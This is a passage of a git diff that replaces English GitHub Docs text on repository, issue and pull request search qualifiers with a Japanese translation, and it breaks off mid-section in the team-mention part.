-## Search by when a repository was created or last updated
+## リポジトリの作成時期や最終更新時期で検索
 
-You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository.
+作成時期や最終更新時期でリポジトリをフィルタリングできます。 リポジトリの作成時期については、`created` 修飾子を使います。リポジトリの最終更新時期で見つけるには、`pushed` 修飾子を使います。 `pushed` 修飾子は、リポジトリのいずれかのブランチに対する一番最近のコミットでソートされた、リポジトリのリストを表示します。
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+どちらの修飾子も、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011.
-| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013.
-| | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks.
+| 修飾子                       | サンプル                                                                                                                                                                                                      |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**webos created:&lt;2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) は、2011 年より前に作成された「webos」という単語があるリポジトリにマッチします。                                       |
+| <code>pushed:<em>YYYY-MM-DD</em></code> | [**css pushed:&gt;2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) は、2013 年 1 月より後にプッシュされた「css」という単語があるリポジトリにマッチします。                          |
+|                           | [**case pushed:&gt;=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) は、2013 年 3 月 6 日以降にプッシュされ、フォークであり、「case」という単語があるリポジトリにマッチします。 |
 
-## Search by language
+## 言語で検索
 
-You can search repositories based on the language of the code in the repositories.
+リポジトリのコードの言語に基づいてリポジトリを検索できます。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript.
+| 修飾子                       | サンプル                                                                                                                                                         |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>language:<em>LANGUAGE</em></code> | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) は、JavaScript 形式で記述された「rails」という単語があるリポジトリにマッチします。 |
 
-## Search by topic
+## Topics で検索
 
-You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)."
+特定の Topics で分類されたすべてのリポジトリを見つけることができます。 詳細は「[トピックでリポジトリを分類する](/github/administering-a-repository/classifying-your-repository-with-topics)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll."
+| 修飾子                       | サンプル                                                                                                                                                  |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>topic:<em>TOPIC</em></code> | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) は、Topics「jekyll」で分類されたリポジトリにマッチします。 |
 
-## Search by number of topics
+## Topics の数で検索
 
-You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`topics` 修飾子と、不等号や範囲の修飾子を使うと、リポジトリに適用された Topics の数でリポジトリを検索できます。 詳しい情報については「[Topics によるリポジトリの分類](/github/administering-a-repository/classifying-your-repository-with-topics)」および「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics.
-| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics.
+| 修飾子                        | サンプル                                                                                                                                       |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>topics:<em>n</em></code> | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) は、5 つのトピックがあるリポジトリにマッチします。       |
+|                            | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) は、4 つ以上のトピックがあるリポジトリにマッチします。 |
 
 {% ifversion fpt or ghes or ghec %}
 
-## Search by license
+## ライセンスで検索
 
-You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)."
+リポジトリのライセンスの種類に基づいてリポジトリを検索できます。 特定のライセンスまたはライセンスファミリーによってリポジトリをフィルタリングするには、ライセンスキーワードを使う必要があります。 詳細は「[リポジトリのライセンス](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0.
+| 修飾子                        | サンプル                                                                                                                                                                      |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>license:<em>LICENSE_KEYWORD</em></code> | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) は、Apache ライセンス 2.0 によりライセンスされたリポジトリにマッチします。 |
 
 {% endif %}
 
-## Search by repository visibility
+## リポジトリの可視性で検索
 
-You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+リポジトリの可視性に基づいて検索を絞り込むことができます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %}
-| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages."
 
 {% ifversion fpt or ghec %}
 
-## Search based on whether a repository is a mirror
+## リポジトリがミラーかどうかで検索
 
-You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+リポジトリがミラーか、それ以外にホストされているかに基づいてリポジトリを検索できます。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} でオープンソースにコントリビュートする方法を見つける](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME."
-|  `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME."
+| 修飾子            | サンプル                                                                                                                                    |
+| -------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
+| `mirror:true`  | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) は、ミラーで「GNOME」という単語を含むリポジトリにマッチします。        |
+| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=)は、ミラーではなく、かつ「GNOME」という単語を含むリポジトリにマッチします。 |
 
 {% endif %}
 
-## Search based on whether a repository is archived
+## リポジトリがアーカイブされているかどうかで検索
 
-You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
+アーカイブされているかどうかでリポジトリを検索できます。 For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME."
-|  `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME."
+| 修飾子              | サンプル                                                                                                                                           |
+| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| `archived:true`  | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) は、「GNOME」という単語を含むアーカイブされたリポジトリにマッチします。       |
+| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) は、「GNOME」という単語を含む、アーカイブされていないリポジトリにマッチします。 |
 
 {% ifversion fpt or ghec %}
 
-## Search based on number of issues with `good first issue` or `help wanted` labels
+## `good first issue` ラベルや `help wanted` ラベルの付いた Issue の数で検索
 
-You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)."
+`help-wanted` ラベルや `good-first-issue` ラベルの付いた Issue の最低数があるリポジトリを、`help-wanted-issues:>n` 修飾子や `good-first-issues:>n` 修飾子によって検索できます。 詳細は、「[ラベルを使用してプロジェクトに役立つコントリビューションを促す](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `good-first-issues:>n` | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript."
-| `help-wanted-issues:>n`|[**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React."
+| 修飾子                        | サンプル                                                                                                                                                                                                               |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `good-first-issues:>n`  | [**good-first-issues:&gt;2 javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) は、「javascript」という単語を含む、`good-first-issue` ラベルが付いた３つ以上の Issue のあるリポジトリにマッチします。 |
+| `help-wanted-issues:>n` | [**help-wanted-issues:&gt;4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) は、「React」という単語を含む、`help-wanted` ラベルが付いた 5 つ以上の Issue のあるリポジトリにマッチします。                 |
 
 ## Search based on ability to sponsor
 
-You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)."
+You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. 詳しい情報については「[{% data variables.product.prodname_sponsors %}について](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)」を参照してください。
 
 You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)."
 
-| Qualifier  | Example
-| ------------- | -------------
-| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile.
-| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.
+| 修飾子                | サンプル                                                                                                                                                                                  |
+| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `is:sponsorable`   | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. |
+| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file.                                           |
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
-- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"
+- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」
+- [フォーク内を検索する](/search-github/searching-on-github/searching-in-forks)
diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
index d41e60cedd..ee4d9e59e7 100644
--- a/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
+++ b/translations/ja-JP/content/search-github/searching-on-github/searching-issues-and-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: Searching issues and pull requests
-intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.'
+title: Issue およびプルリクエストを検索する
+intro: '{% data variables.product.product_name %} 上の Issue およびプルリクエストを検索することができます。そして、これらの検索用修飾子を組み合わせることで、検索結果を絞ることができます。'
 redirect_from:
   - /articles/searching-issues
   - /articles/searching-issues-and-pull-requests
@@ -15,336 +15,330 @@ topics:
   - GitHub search
 shortTitle: Search issues & PRs
 ---
-You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
+
+{% data variables.product.product_name %} 全体にわたってグローバルに Issue およびプルリクエストを検索できます。あるいは、特定の Organization の Issue およびプルリクエストに限った検索もできます。 詳細は「[{% data variables.product.company_short %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。
 
 {% tip %}
 
-**Tips:**{% ifversion ghes or ghae %}
-  - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.product.product_location %}.{% endif %}
-  - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)".
-  - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive.
+**ヒント:**{% ifversion ghes or ghae %}
+  - この記事には、{% data variables.product.prodname_dotcom %}.com のウェブサイトでの検索例が含まれています。ですが、同じ検索フィルターを {% data variables.product.product_location %} で使えます。{% endif %}
+  - 検索結果を改良する検索修飾子を追加できる検索構文のリストについては、「[検索構文を理解する](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)」を参照してください。
+  - 複数単語の検索用語は引用符で囲みます。 たとえば "In progress" というラベルを持つ Issue を検索したい場合は、`label:"in progress"` とします。 検索では、大文字と小文字は区別されません。
   - {% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
   {% endtip %}
 
-## Search only issues or pull requests
+## Issue またはプルリクエストに限定した検索
 
-By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier.
+デフォルトでは、{% data variables.product.product_name %} の検索は、Issueとプルリクエストの両方を結果表示します。 ですが、`type` 修飾子または `is` 修飾子を使うことで、Issue またはプルリクエストに限った検索ができます。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat."
-| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt.
-| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event."
-| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug."
+| 修飾子          | サンプル                                                                                                                                                                                |
+| ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `type:pr`    | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) は、「cat」という単語があるプルリクエストにマッチします。                                                                             |
+| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) は、「github」という単語を含み、かつ、@defunkt によるコメントがある Issue にマッチします。 |
+| `is:pr`      | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) は、「event」という単語があるプルリクエストにマッチします。                                                                  |
+| `is:issue`   | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) は、「bug」のラベルが付いたクローズされた Issue にマッチします。                       |
 
-## Search by the title, body, or comments
+## タイトル、本文、またはコメントで検索
 
-With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched.
+`in` 修飾子によって、タイトル、本文、コメントやその組み合わせに限定した検索ができます。 この修飾子を省略した場合、タイトル、本文、そしてコメントがすべて検索されます。
 
-| Qualifier     | Example
-| ------------- | -------------
-| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title.
-| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body.
-| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments.
+| 修飾子           | サンプル                                                                                                                           |
+| ------------- | ------------------------------------------------------------------------------------------------------------------------------ |
+| `in:title`    | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) は、タイトルに「warning」を含む Issue にマッチします。          |
+| `in:body`     | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) は、タイトルか本文に「error」を含む Issue にマッチします。 |
+| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) は、コメントで「shipit」にメンションしている Issue にマッチします。 |
 
-## Search within a user's or organization's repositories
+## ユーザまたは Organization のリポジトリ内の検索
 
-To search issues and pull requests in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier.
+特定のユーザーや Organization が保有するすべてのリポジトリの Issue とプルリクエストを検索するには、 `user` 修飾子または `org` 修飾子を使います。 特定のリポジトリの Issue やプルリクエストを検索するには、`repo` 修飾子を使います。
 
 {% data reusables.pull_requests.large-search-workaround %}
 
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization.
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012.
+| 修飾子                       | サンプル                                                                                                                                                                                                       |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) は、@defunkt が保有するリポジトリからの「ubuntu」という単語がある Issue にマッチします。                                                           |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) は、GitHub Organization が保有するリポジトリの Issue にマッチします。                                                                     |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) は、2012 年 3 月より前に作成された @mozilla の shumway プロジェクトからの Issue にマッチします。 |
 
 
 
-## Search by open or closed state
+## オープンかクローズかで検索
 
-You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier.
+`state` 修飾子または `is` 修飾子を使って、オープンかクローズかで、Issue およびプルリクエストをフィルタリングできます。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries."
-| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body.
-| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance."
-| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android."
+| 修飾子            | サンプル                                                                                                                                                                                           |
+| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `state:open`   | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) は、「libraries」という単語がある @vmg にメンションしているオープン Issue にマッチします。 |
+| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) は、本文に「design」という単語がある、クローズされた Issue にマッチします。                         |
+| `is:open`      | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) は、「performance」という単語があるオープン Issue にマッチします。                                        |
+| `is:closed`    | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) は、「android」という単語があるクローズされた Issue とプルリクエストにマッチします。                                                |
 
-## Filter by repository visibility
+## リポジトリの可視性によるフィルタ
 
-You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+`is` 修飾子を使用して、Issue とプルリクエストを含むリポジトリの可視性でフィルタできます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %}
-| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
 
-## Search by author
+## 作者で検索
 
-The `author` qualifier finds issues and pull requests created by a certain user or integration account.
+`author` 修飾子によって、特定のユーザまたはインテグレーションアカウントが作成した Issue およびプルリクエストを検索できます。
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian.
-| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body.
-| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot."
+| 修飾子                       | サンプル                                                                                                                                                            |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) は、@gjtorikian が作成した「cool」という単語がある Issue とプルリクエストにマッチします。         |
+|                           | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) は、本文に「bootstrap」という単語を含む @mdo が作成した Issue にマッチします。 |
+| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) は、「robot」というインテグレーションアカウントが作成した Issue にマッチします。                             |
 
-## Search by assignee
+## アサインされた人で検索
 
-The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata).
+`assignee` 修飾子は、特定のユーザにアサインされた Issue およびプルリクエストを表示します。 アサインされた人がいる Issue およびプルリクエストは、_一切_検索できません。 [アサインされた人がいない Issue およびプルリクエスト](#search-by-missing-metadata)は検索できます。
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg.
+| 修飾子                       | サンプル                                                                                                                                                                                                       |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) は、@vmg にアサインされた libgit2 のプロジェクト libgit2 の Issue およびプルリクエストにマッチします。 |
 
-## Search by mention
+## メンションで検索
 
-The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)."
+`mentions` 修飾子は、特定のユーザーにメンションしている Issue を表示します。 詳細は「[人およびチームにメンションする](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)」を参照してください。
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt.
+| 修飾子                       | サンプル                                                                                                                                                  |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) は、@defunkt にメンションしている「resque」という単語がある Issue にマッチします。 |
 
-## Search by team mention
+## Team メンションで検索
 
-For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search.
